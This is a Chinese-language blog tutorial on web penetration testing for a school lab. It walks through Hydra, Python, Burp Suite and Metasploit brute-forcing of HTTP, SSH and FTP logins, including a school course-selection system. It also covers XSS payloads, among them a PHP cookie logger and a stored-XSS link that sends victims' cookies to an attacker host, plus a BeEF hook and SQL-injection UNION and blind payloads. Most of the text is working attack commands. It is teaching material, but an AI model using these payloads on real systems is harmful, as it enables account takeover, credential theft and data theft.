网络安全Web渗透


密码爆破

一、爆破HTTP表单密码

1.Hydra爆破

  1. 启动OWASP漏洞靶机
  2. 输入IP地址打开网页
  3. 打开Damn Vulnerable Web Application
  4. 开始抓包,在登录界面按下F12,选中Network选项卡,随便输入账号密码,点击Login。
  5. 成功抓取到login.php,记录Request URL、Form Data以及Response
  6. 打开kali虚拟机,右键打开终端
hydra -l admin -P passw.txt 192.168.148.130 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

-l表示单个用户名(使用-L表示用户名字典)
-P表示使用密码字典
-V用于显示每次尝试的详细输出
-o表示保存结果到文件
-f表示只要破解到第一个有效密码就停止
:后是登录失败表单返回的信息

2.Python爆破

登录进DVWA漏洞靶机之后,靶机给我们提供了一个暴力破解密码的接口,就是第四个,Brute Force
为了深入理解爆破原理,这次我们不用工具,自己写代码进行破解,这里使用最简单的Python

import requests

pwds = open("password.txt")
for pwd in pwds:
    url = "http://192.168.26.131/dvwa/vulnerabilities/brute/"
    # Python strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
    resp = requests.get(url = url, 
    params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, 
    # 身份信息,即cookie,必须是最新的,有效的
    headers = {"Cookie":"security=low; \
        PHPSESSID=jbvcllt5hbruibl548pco9pq71; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败:'+pwd, end='')
    else:
        print('破解成功:'+pwd, end='')
        break
pwds.close()

和之前一样,抓包,然后模拟浏览器发送请求,唯一不同的就是需要注意,发送的请求需携带身份信息,因为这个操作必须在登录状态才可以执行

3.BurpSuite爆破

  1. 在Kali中打开BurpSuite,设置代理(proxy)的设置的端口为允许所有端口

  2. 打开火狐浏览器-设置-网络设置-手动配置代理-设置为Kali机器的IP

  3. 在火狐浏览器中提交表单,请求就已经被代理服务器拦截了

  4. 回到BurpSuite可以看到被拦截包的具体内容,右键,Send to Intruder

  5. 打开Intruder选项卡,clear$,add$

  6. 在Payload载荷中添加进字典,就可以开始爆破了

几种攻击模式

  1. Sniper 狙击手
    只能破解一个字段,即只能选择一个payloadset。
  2. Battering ram 攻城锤
    不管有几个参数,都只能用相同的字典值
  3. Pitchfork 草叉
    有几个参数就需要设置几个字典,而且会按顺序匹配同时使用,不会交叉验证。
    如果两个payload的数量不匹配,以少的为准,多余的丢弃。
  4. Cluster bomb 榴霰弹
    产生笛卡尔积,简单来说就是和草叉相反。

4.爆破机房选课系统登录密码

先不要看答案,自己试一试

hydra -l pwh -p password.txt 10.163.72.11 http-post-form "/index/index/login.html:username=^USER^&password=^PASS^:失败" -V -o JJ.txt

二、爆破SSH密码

1.端口扫描

  1. ping扫描 —sP
    nmap -sP 10.163.72.1/24
  2. 指定端口范围 —p m-n
    nmap -p 22,80 10.163.72.55 #-p- 表示对所有端口进行扫描
  3. 服务版本探测 -sV
    nmap -p 22,80 10.163.72.55 -sV
  4. 全面扫描 -A
    nmap -A 10.163.72.55
  5. 保存结果
    nmap -sn 101.37.79.1/24 -oX JJ.xml #默认保存在nmap安装根目录
  6. 其他参数

2.用户名枚举

  1. 在kail里输入msfconsole打开msf,退出输入exit
  2. 因为msf中的模块太多了,我们想要找ssh有关的模块,只有使用搜索功能。
    search ssh
  3. 找到用户枚举的模块
    use auxiliary/scanner/ssh/ssh_enumusers
  4. 查看参数设置
    show options
  5. 设置必要的参数
    set threshold 5  # 设置线程数为5
    set rhosts 192.168.148.130  #  设置地址,地址也可以是一个网段
    set USER_FILE teacher_name.txt # 设置需要使用的账号字典
  6. 运行
    run

3.开始爆破

hydra -l root -P password.txt 192.168.148.130 ssh

也可以使用msf,感觉速度会更快一些,操作和上述相似,只有两步不同。

  1. 找到相应模块
    use auxiliary/scanner/ssh/ssh_login
  2. 设置必要参数
    set rhosts 192.168.26.130
    set username root
    set PASS_FILE password.txt

    三、爆破FTP密码

    账号字典和密码字典我的ftp:pwhdown
    不要问账号字典怎么来的,问就是捡来的
    hydra -L teacher_name.txt -P pass.txt -f 10.163.72.248 ftp -o JJ.txt -V

四、防御

  1. 密码使用带https的密文传输和存储
  2. 限制错误次数,锁定账户
  3. 增加尝试间隔,sleep(3)
  4. 验证码,图片验证码、短信验证码、二维码验证码
  5. 统计尝试频率,锁定IP地址
  6. token机制

四、特别声明

本网站没有使用登录验证码,可以无限暴力破解,因为这种漏洞不会危害服务器,所以大家随便玩吧(只有我的账号是超级管理员,是强密码,所以可以不用白费工夫了)。

特别声明一点,本网站是用于海盐商贸学校计算机专业实战演练的漏洞靶机网站,只能用于学习网络安全相关知识,磨练技能,请记得我们是白帽子阵营,请勿违反《中华人民共和国网络安全法》,从事违法犯罪,否则后果自负

XSS跨站脚本攻击

一、常用Javascript语句

1.弹窗警告

<script>alert('你好,恭喜,你账号密码没了')</script>
<script>alert(document.cookie)</script>

2.页面嵌套

<iframe src=http://10.163.72.55 width=300 height=300></iframe>

3.页面重定向

<script>alert("本站已停用,请移步到我们新网站并重新登录");location.href="http://10.163.72.55/"</script>

4.访问外部js

<script src="http://10.163.72.55/xss.js"></script>

二、手动获取cookie

  1. 另外打开一台kail的虚拟机,作为攻击机
  2. 启动apache服务器
    service apache2 start
  3. 在网站根目录写入一个盗取cookie的js脚本
    vim /var/www/html/get_cookie.php
    <?php
    $cookie = $_GET['cookie'];  # 获取cookie
    $log = fopen("cookie.txt","a"); # 以追加方式打开文件,如果没有会自动创建
    fwrite($log, $cookie . "\n"); # 保存文件,记得换行
    fclose($log); # 关闭文件
    echo '恭喜,你密码账号没了';  # 嘲讽拉满
    ?>
    注意在linux中,ctrl+shift+v才是复制,或者直接按鼠标滚轮也可以
  4. 常用vim命令(补充)
  • i插入模式
  • o在下一行插入
  • esc + :wq保存并退出
  • esc + :e!不保存退出
  • ctrl+v可视块操作,I插入,esc保存,d删除
  1. 在地址栏输入kali虚机的ip地址/get_cookie.php,如果没有报404错误,就表示文件存在,当然也可以cat /var/www/html/get_cookie.php再次确认一下
  2. 打开根目录下的写权限
    ls -s # 查看权限
    chown -R www-data.www-data /var/www/
  3. 登录DVWA靶机,选择XSS stored,现在可以布置脚本了,注意这里的诱导文字很重要,很考验水平。
    <a href=javascript:location.href="http://10.163.72.55:8090/get_cookie.php?cookie="+document.cookie>兄弟、我找到你想要的资源了,懂的都懂,快来!</a>
  4. 受害者只需要点一下,就可以获得cookie了
    cat /var/www/html/cookie.txt
  5. 盗取账号
    拿到cookie之后怎么用呢,其实这个cookie就是浏览器缓存的用户身份信息,最简单的方法是安装一个谷歌浏览器插件进行替换,我已经帮你们下载好了,在我的ftp,pwhdownCookie Hacker.crx

在谷歌浏览器安装插件时,记得打开开发者模式

三、设置桥接模式

因为NAT连接的是虚拟交换机,自己的几个虚拟机网卡接到一起,只能自己和自己玩。
如果想要连接到真实交换机,先在VMvare点编辑-虚拟网络编辑器-添加网络-VMnet0,选桥接模式,桥接到真实网卡,别连到蓝牙上去了。
然后在虚拟机设置中,选择VMnet0(桥接模式),如果外部没有DHCP服务器,我们不能自动获取一个ip地址,就需要自己手动设置一个ip地址。在linux中的方法如下:

  1. 修改网卡配置文件
    vim /etc/network/interfaces
    auto eth0
    iface eth0 inet static  # 配置eth0使用静态地址
    address 10.163.72.194   # 配置固定IP地址
    netmask 255.255.255.0   # 配置子网掩码
    gateway 10.163.72.20    # 配置网关
    提示:配置IP地址之前ping一下,如果提示无法访问目标主机,说明应该没人用。
  2. 重启网络
    systemctl restart networking
  3. 关闭networkManager
    如果没有生效,可能networkManager影响了,networkManager是网络服务的图形管理工具,它会默认接管网络服务。
    systemctl stop NetworkManager
  4. 配置DNS
    vim /etc/resolv.conf
    nameserver 114.114.114.114
  5. 查看IP是否修改完成
    ifconfig
    ifconfig eth0 192.168.1.1 # 配置临时IP
    如果嫌麻烦,可以配置临时ip,不过重启网络服务就没了

四、自动化XSS工具beef

  1. 启动beef
    第一次启动可能要设置密码,设置密码之后,beef就启动好了
    beef会提供一个访问地址,127.0.0.1:3000/ui/panel,注意这个地址是本地环回地址,如果想在真机访问,需要把ip换成虚机的ip
    如果设置的密码忘了,可以输入cat /etc/beef-xss/config.yaml查看密码
  2. 布置钩子
    接下来就可以重复之前的套路,把beef自动生成的勾子文件弄到靶机上
    <script src="http://192.168.148.129:3000/hook.js"></script>
    在此之前,记得清空一下dvwa的数据库
  3. 收获牛肉
    打开beef,发现已经有人中招了,现在就可以随便玩了,beef提供了非常多好玩的功能,比如页面弹框,强制跳转,修改页面链接,播放音频,启动摄像头,浏览器窗口拍照,钓鱼等等。太多了,篇幅有限,不详细讲了,请自行摸索吧

    五、特别声明

    本网站特意设计了xss跨站攻击漏洞,应该很容易就能找到,因为这种漏洞不会危害服务器,所以大家随便玩吧(一般是危害用户,比如盗别人的账号,利用钓鱼网站骗别人的钱等等)。
    特别声明一点,本网站是用于海盐商贸学校计算机专业实战演练的漏洞靶机网站,只能用于学习网络安全相关知识,磨练技能,请记得我们是白帽子阵营,请勿违反《中华人民共和国网络安全法》,从事违法犯罪,否则后果自负

SQL注入

一、测试是否有注入点

先输入一个'(英文单引号),如果报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1,就证明能够接受单引号,存在SQL注入点。

二、获得注入点当前数据表全部内容

原始语句:select first_name,last_name from dvwa.users where user_id=''

SQL注入语句:' or 1=1 --'

注入后语句:mysql -udvwa -pdvwa dvwa -e "select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' '"

三、UNION联合查询

SQL注入语句: 'union select user(), database() -- '

注入后语句: select first_name,last_name from dvwa.users where user_id=''union select user(),database() -- ''

version() 获得数据库版本信息
database() 获得当前数据库名
user() 获得当前用户名
注意:union后的字段必须和前面的一样,可以一个一个的猜。

四、查询所有的库名及表名

'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '

五、获得任意表任意字段数据

'union select 字段1, 字段2 from 数据表 -- '

因为union必须和前面的字段保持一致,如果想多查询几个字段,可以使用concat的方式如下,中间的空格用于将各个字段分隔开。

'union select 字段1, concat(字段2,' ',字段3,' ',字段4) from users -- '

六、盲注点

有些注入点是只接受用户输入,但是不显示出来,dvwa就提供了一个盲注点。

SQL注入语句: ' and sleep(5) --

注入后语句: select first_name,last_name from dvwa.users where user_id='1' and sleep(5) --

如果网页显示加载图标就证明这个是一个注入点。


文章作者: 彭韦浩
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 彭韦浩 !
  目录